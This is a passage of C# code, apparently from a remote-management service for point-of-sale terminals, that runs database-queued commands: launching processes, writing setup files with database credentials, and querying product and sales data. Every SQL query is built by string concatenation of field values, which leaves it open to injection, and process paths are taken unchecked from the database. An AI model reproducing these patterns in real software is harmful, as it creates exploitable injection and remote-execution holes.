Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 打开指定进程命令
else if
(FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "openapp" && datenow >= datebegin)//打开指定进程
{
string sql = "";
string Oraclesql = "";
string process = "";
string processFile = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
if (HANDCONTENT.Contains("\\"))
{
processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1);
}
if (processFile.Contains("."))
{
process = processFile.Substring(0, processFile.IndexOf("."));
}
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length == 0)
{
Process.Start(HANDCONTENT);
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
if (HANDCONTENT.Contains("\\"))
{
processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1);
}
if (processFile.Contains("."))
{
process = processFile.Substring(0, processFile.IndexOf("."));
}
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length == 0)
{
Process.Start(HANDCONTENT);
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 创建SetUp文件命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "newsetup" && datenow >= datebegin)//创建新文件setup
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
if (rdSetup.HasRows)
{
while (rdSetup.Read())
{
#region 创建新文件
object database = rdSetup["DATABASE"];
object startype = rdSetup["STARTYPE"];
object name = rdSetup["NAME"];
object servername = rdSetup["SERVERNAME"];
object apppath = rdSetup["APPPATH"];
object port = rdSetup["PORT"];
object setup = rdSetup["SETUP"];
object openpath = rdSetup["OPENPATH"];
object dbsync = rdSetup["DBSYNC"];
object iswork = rdSetup["ISWORK"];
object dbconect = rdSetup["DBCONECT"];
object dbip1 = rdSetup["DBIP"];
object dbport1 = rdSetup["DBPORT"];
object dbname1 = rdSetup["DBNAME"];
object dbuser1 = rdSetup["DBUSER"];
object dbpass1 = rdSetup["DBPASS"];
object conname1 = rdSetup["CONNAME"];
object serverpartcode = rdSetup["SERVERPARTCODE"];
object shopcode = rdSetup["SHOPCODE"];
object machinecode = rdSetup["MACHINECODE"];
object orapath = rdSetup["ORAPATH"];
object setups = rdSetup["SETUPS"];
object manmode = rdSetup["MANMODE"];
object systemparm = rdSetup["SYSTEMPARM"];
object softwarename = rdSetup["SOFTWARENAME"];
object dbtrans_mode = rdSetup["DBTRANS_MODE"];
object endgo_line = rdSetup["ENDGO_LINE"];
object adv_top = rdSetup["ADV_TOP"];
object adv_end = rdSetup["ADV_END"];
object input_mode = rdSetup["INPUT_MODE"];
object is_print = rdSetup["IS_PRINT"];
object is_open = rdSetup["IS_OPEN"];
object is_dpis = rdSetup["IS_DPIS"];
object xpprint_num = rdSetup["XPPRINT_NUM"];
object jbprint_num = rdSetup["JBPRINT_NUM"];
object effectiveday = rdSetup["EFFECTIVEDAY"];
object checkday = rdSetup["CHECKDAY"];
object dispcom = rdSetup["DISPCOM"];
object spdj = rdSetup["SPDJ"];
object printport = rdSetup["PRINTPORT"];
object discount2 = rdSetup["DISCOUNT2"];
object kitchenprint = rdSetup["KITCHENPRINT"];
object prefix = rdSetup["PREFIX"];
object serverpartname = rdSetup["SERVERPARTNAME"];
object brandnum = rdSetup["BRANDNUM"];
object endaccounttimes = rdSetup["ENDACCOUNTTIMES"];
object billoverlap = rdSetup["BILLOVERLAP"];
StreamWriter sw = new StreamWriter("NEWsetup.ini");
sw.WriteLine(database);
sw.WriteLine("startype=" + startype);
sw.WriteLine("dbname=" + name);
sw.WriteLine("servername=" + servername);
sw.WriteLine("apppath=" + apppath);
sw.WriteLine("port=" + port);
sw.WriteLine("setup=" + setup);
sw.WriteLine("openpath=" + openpath);
sw.WriteLine();
sw.WriteLine(dbsync);
sw.WriteLine("iswork=" + iswork);
sw.WriteLine(dbconect);
sw.WriteLine("dbip=" + dbip1);
sw.WriteLine("dbport=" + dbport1);
sw.WriteLine("dbname=" + dbname1);
sw.WriteLine("dbuser=" + dbuser1);
sw.WriteLine("dbpass=" + dbpass1);
sw.WriteLine("conname=" + conname1);
sw.WriteLine("serverpartcode=" + serverpartcode);
sw.WriteLine("shopcode=" + shopcode);
sw.WriteLine("machinecode=" + machinecode);
sw.WriteLine("orapath=" + orapath);
sw.WriteLine(setups);
sw.WriteLine("manmode=" + manmode);
sw.WriteLine(systemparm);
sw.WriteLine("softwarename=" + softwarename);
sw.WriteLine("dbtrans_mode=" + dbtrans_mode);
sw.WriteLine("endgo_line=" + endgo_line);
sw.WriteLine("adv_top=" + adv_top);
sw.WriteLine("adv_end=" + adv_end);
sw.WriteLine("input_mode=" + input_mode);
sw.WriteLine("is_print=" + is_print);
sw.WriteLine("is_open=" + is_open);
sw.WriteLine("is_dpis=" + is_dpis);
sw.WriteLine("xpprint_num=" + xpprint_num);
sw.WriteLine("jbprint_num=" + jbprint_num);
sw.WriteLine("effectiveday=" + effectiveday);
sw.WriteLine("checkday=" + checkday);
sw.WriteLine("dispcom=" + dispcom);
sw.WriteLine("spdj=" + spdj);
sw.WriteLine("printport=" + printport);
sw.WriteLine("discount2=" + discount2);
sw.WriteLine("kitchenprint=" + kitchenprint);
sw.WriteLine("prefix=" + prefix);
sw.WriteLine("serverpartname=" + serverpartname);
sw.WriteLine("brandnum=" + brandnum);
sw.WriteLine("endaccounttimes=" + endaccounttimes);
sw.WriteLine("billoverlap=" + billoverlap);
sw.Close();
#endregion
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
if (rdSetup.HasRows)
{
while (rdSetup.Read())
{
#region 创建新文件
object database = rdSetup["DATABASE"];
object startype = rdSetup["STARTYPE"];
object name = rdSetup["NAME"];
object servername = rdSetup["SERVERNAME"];
object apppath = rdSetup["APPPATH"];
object port = rdSetup["PORT"];
object setup = rdSetup["SETUP"];
object openpath = rdSetup["OPENPATH"];
object dbsync = rdSetup["DBSYNC"];
object iswork = rdSetup["ISWORK"];
object dbconect = rdSetup["DBCONECT"];
object dbip1 = rdSetup["DBIP"];
object dbport1 = rdSetup["DBPORT"];
object dbname1 = rdSetup["DBNAME"];
object dbuser1 = rdSetup["DBUSER"];
object dbpass1 = rdSetup["DBPASS"];
object conname1 = rdSetup["CONNAME"];
object serverpartcode = rdSetup["SERVERPARTCODE"];
object shopcode = rdSetup["SHOPCODE"];
object machinecode = rdSetup["MACHINECODE"];
object orapath = rdSetup["ORAPATH"];
object setups = rdSetup["SETUPS"];
object manmode = rdSetup["MANMODE"];
object systemparm = rdSetup["SYSTEMPARM"];
object softwarename = rdSetup["SOFTWARENAME"];
object dbtrans_mode = rdSetup["DBTRANS_MODE"];
object endgo_line = rdSetup["ENDGO_LINE"];
object adv_top = rdSetup["ADV_TOP"];
object adv_end = rdSetup["ADV_END"];
object input_mode = rdSetup["INPUT_MODE"];
object is_print = rdSetup["IS_PRINT"];
object is_open = rdSetup["IS_OPEN"];
object is_dpis = rdSetup["IS_DPIS"];
object xpprint_num = rdSetup["XPPRINT_NUM"];
object jbprint_num = rdSetup["JBPRINT_NUM"];
object effectiveday = rdSetup["EFFECTIVEDAY"];
object checkday = rdSetup["CHECKDAY"];
object dispcom = rdSetup["DISPCOM"];
object spdj = rdSetup["SPDJ"];
object printport = rdSetup["PRINTPORT"];
object discount2 = rdSetup["DISCOUNT2"];
object kitchenprint = rdSetup["KITCHENPRINT"];
object prefix = rdSetup["PREFIX"];
object serverpartname = rdSetup["SERVERPARTNAME"];
object brandnum = rdSetup["BRANDNUM"];
object endaccounttimes = rdSetup["ENDACCOUNTTIMES"];
object billoverlap = rdSetup["BILLOVERLAP"];
StreamWriter sw = new StreamWriter("NEWsetup.ini");
sw.WriteLine(database);
sw.WriteLine("startype=" + startype);
sw.WriteLine("dbname=" + name);
sw.WriteLine("servername=" + servername);
sw.WriteLine("apppath=" + apppath);
sw.WriteLine("port=" + port);
sw.WriteLine("setup=" + setup);
sw.WriteLine("openpath=" + openpath);
sw.WriteLine();
sw.WriteLine(dbsync);
sw.WriteLine("iswork=" + iswork);
sw.WriteLine(dbconect);
sw.WriteLine("dbip=" + dbip1);
sw.WriteLine("dbport=" + dbport1);
sw.WriteLine("dbname=" + dbname1);
sw.WriteLine("dbuser=" + dbuser1);
sw.WriteLine("dbpass=" + dbpass1);
sw.WriteLine("conname=" + conname1);
sw.WriteLine("serverpartcode=" + serverpartcode);
sw.WriteLine("shopcode=" + shopcode);
sw.WriteLine("machinecode=" + machinecode);
sw.WriteLine("orapath=" + orapath);
sw.WriteLine(setups);
sw.WriteLine("manmode=" + manmode);
sw.WriteLine(systemparm);
sw.WriteLine("softwarename=" + softwarename);
sw.WriteLine("dbtrans_mode=" + dbtrans_mode);
sw.WriteLine("endgo_line=" + endgo_line);
sw.WriteLine("adv_top=" + adv_top);
sw.WriteLine("adv_end=" + adv_end);
sw.WriteLine("input_mode=" + input_mode);
sw.WriteLine("is_print=" + is_print);
sw.WriteLine("is_open=" + is_open);
sw.WriteLine("is_dpis=" + is_dpis);
sw.WriteLine("xpprint_num=" + xpprint_num);
sw.WriteLine("jbprint_num=" + jbprint_num);
sw.WriteLine("effectiveday=" + effectiveday);
sw.WriteLine("checkday=" + checkday);
sw.WriteLine("dispcom=" + dispcom);
sw.WriteLine("spdj=" + spdj);
sw.WriteLine("printport=" + printport);
sw.WriteLine("discount2=" + discount2);
sw.WriteLine("kitchenprint=" + kitchenprint);
sw.WriteLine("prefix=" + prefix);
sw.WriteLine("serverpartname=" + serverpartname);
sw.WriteLine("brandnum=" + brandnum);
sw.WriteLine("endaccounttimes=" + endaccounttimes);
sw.WriteLine("billoverlap=" + billoverlap);
sw.Close();
#endregion
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 返回商品信息命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "commodityinfo" && datenow >= datebegin)//查找sqlanywhere商品信息保存至数据库中
{
string sql = "";
string Oraclesql = "";
string commodityInfo = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex
WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')";
//OdbcCommand cmd = new OdbcCommand(sqlany, conany);
//OdbcDataReader odbcDRD = cmd.ExecuteReader();
//bool i = odbcDRD.Read();
DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0];
string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'";
//OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany);
//OdbcDataReader odbcrd1 = cmd1.ExecuteReader();
//bool j = odbcrd1.Read();
DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0];
DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString());
String connectdate = DateTime.Now.ToShortDateString().ToString();
string connect_ip = lblIPAdress4.Text;
string machinename = lblComPName.Text;
string machinecode = "", serverpartcode = "", shopcode = "", brandnum = "";
string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex";
//OdbcCommand curr = new OdbcCommand(currcommcount, conany);
//OdbcDataReader odbccurr = curr.ExecuteReader();
int commcount = 0;
try
{
commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString());
}
catch
{
commcount = 0;
}
//if (odbccurr.HasRows)
//{
// odbccurr.Read();
// commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount
//}
FileStream fs = new FileStream("setup.ini", FileMode.Open);
StreamReader m_streamReader = new StreamReader(fs);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "machinecode")
machinecode = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "brandnum")
brandnum = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
fs.Close();
m_streamReader.Close();
string count = null; string sum = null; string DATE = null; string workname = null;
string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " +
"WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode +
" AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " +
"and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'";
//OdbcCommand comsum = new OdbcCommand(sqlsum, conany);
//OdbcDataReader sumread = comsum.ExecuteReader();
DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0];
if (_SellDataTable.Rows.Count > 0)
{
//sumread.Read();
count = _SellDataTable.Rows[0]["max"].ToString();
sum = _SellDataTable.Rows[0]["sum"].ToString();
DATE = _SellDataTable.Rows[0]["SELL"].ToString();
}
string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " +
"b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" +
shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode +
"' and b.enddate is null";
//OdbcCommand comname = new OdbcCommand(sqlname, conany);
//OdbcDataReader nameread = comname.ExecuteReader();
DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0];
if (_PersonsellTable.Rows.Count > 0)
{
workname = _PersonsellTable.Rows[0]["sellworkername"].ToString();
}
else
{
workname = "未登陆工班";
}
if (count == "")
{
count = "0";
sum = "0";
}
//string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata";
//OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany);
//OdbcDataReader conrd = ocmd.ExecuteReader();
//string COMMODITY_CODE = null;
//decimal SELLCOUNT = 0;
//if (conrd.HasRows)
//{
// conrd.Read();
// if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString()))
// {
// COMMODITY_CODE = (string)conrd["COMMODITY_CODE"];
// }
// SELLCOUNT = (decimal)conrd["SELLCOUNT"];
//}
string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" +
serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'";
OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn);
OracleDataReader poini = cmdpoini.ExecuteReader();
int pcount = 0;
if (poini.HasRows)
{
poini.Read();
pcount = int.Parse(poini["count(*)"].ToString());
}
if (_CommodityTable.Rows.Count > 0)
{
string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"];
string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"];
decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"];
if (_HotKeyTable.Rows.Count > 0)
{
string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"];
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo=" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname +
// "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "未找到对应商品信息";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
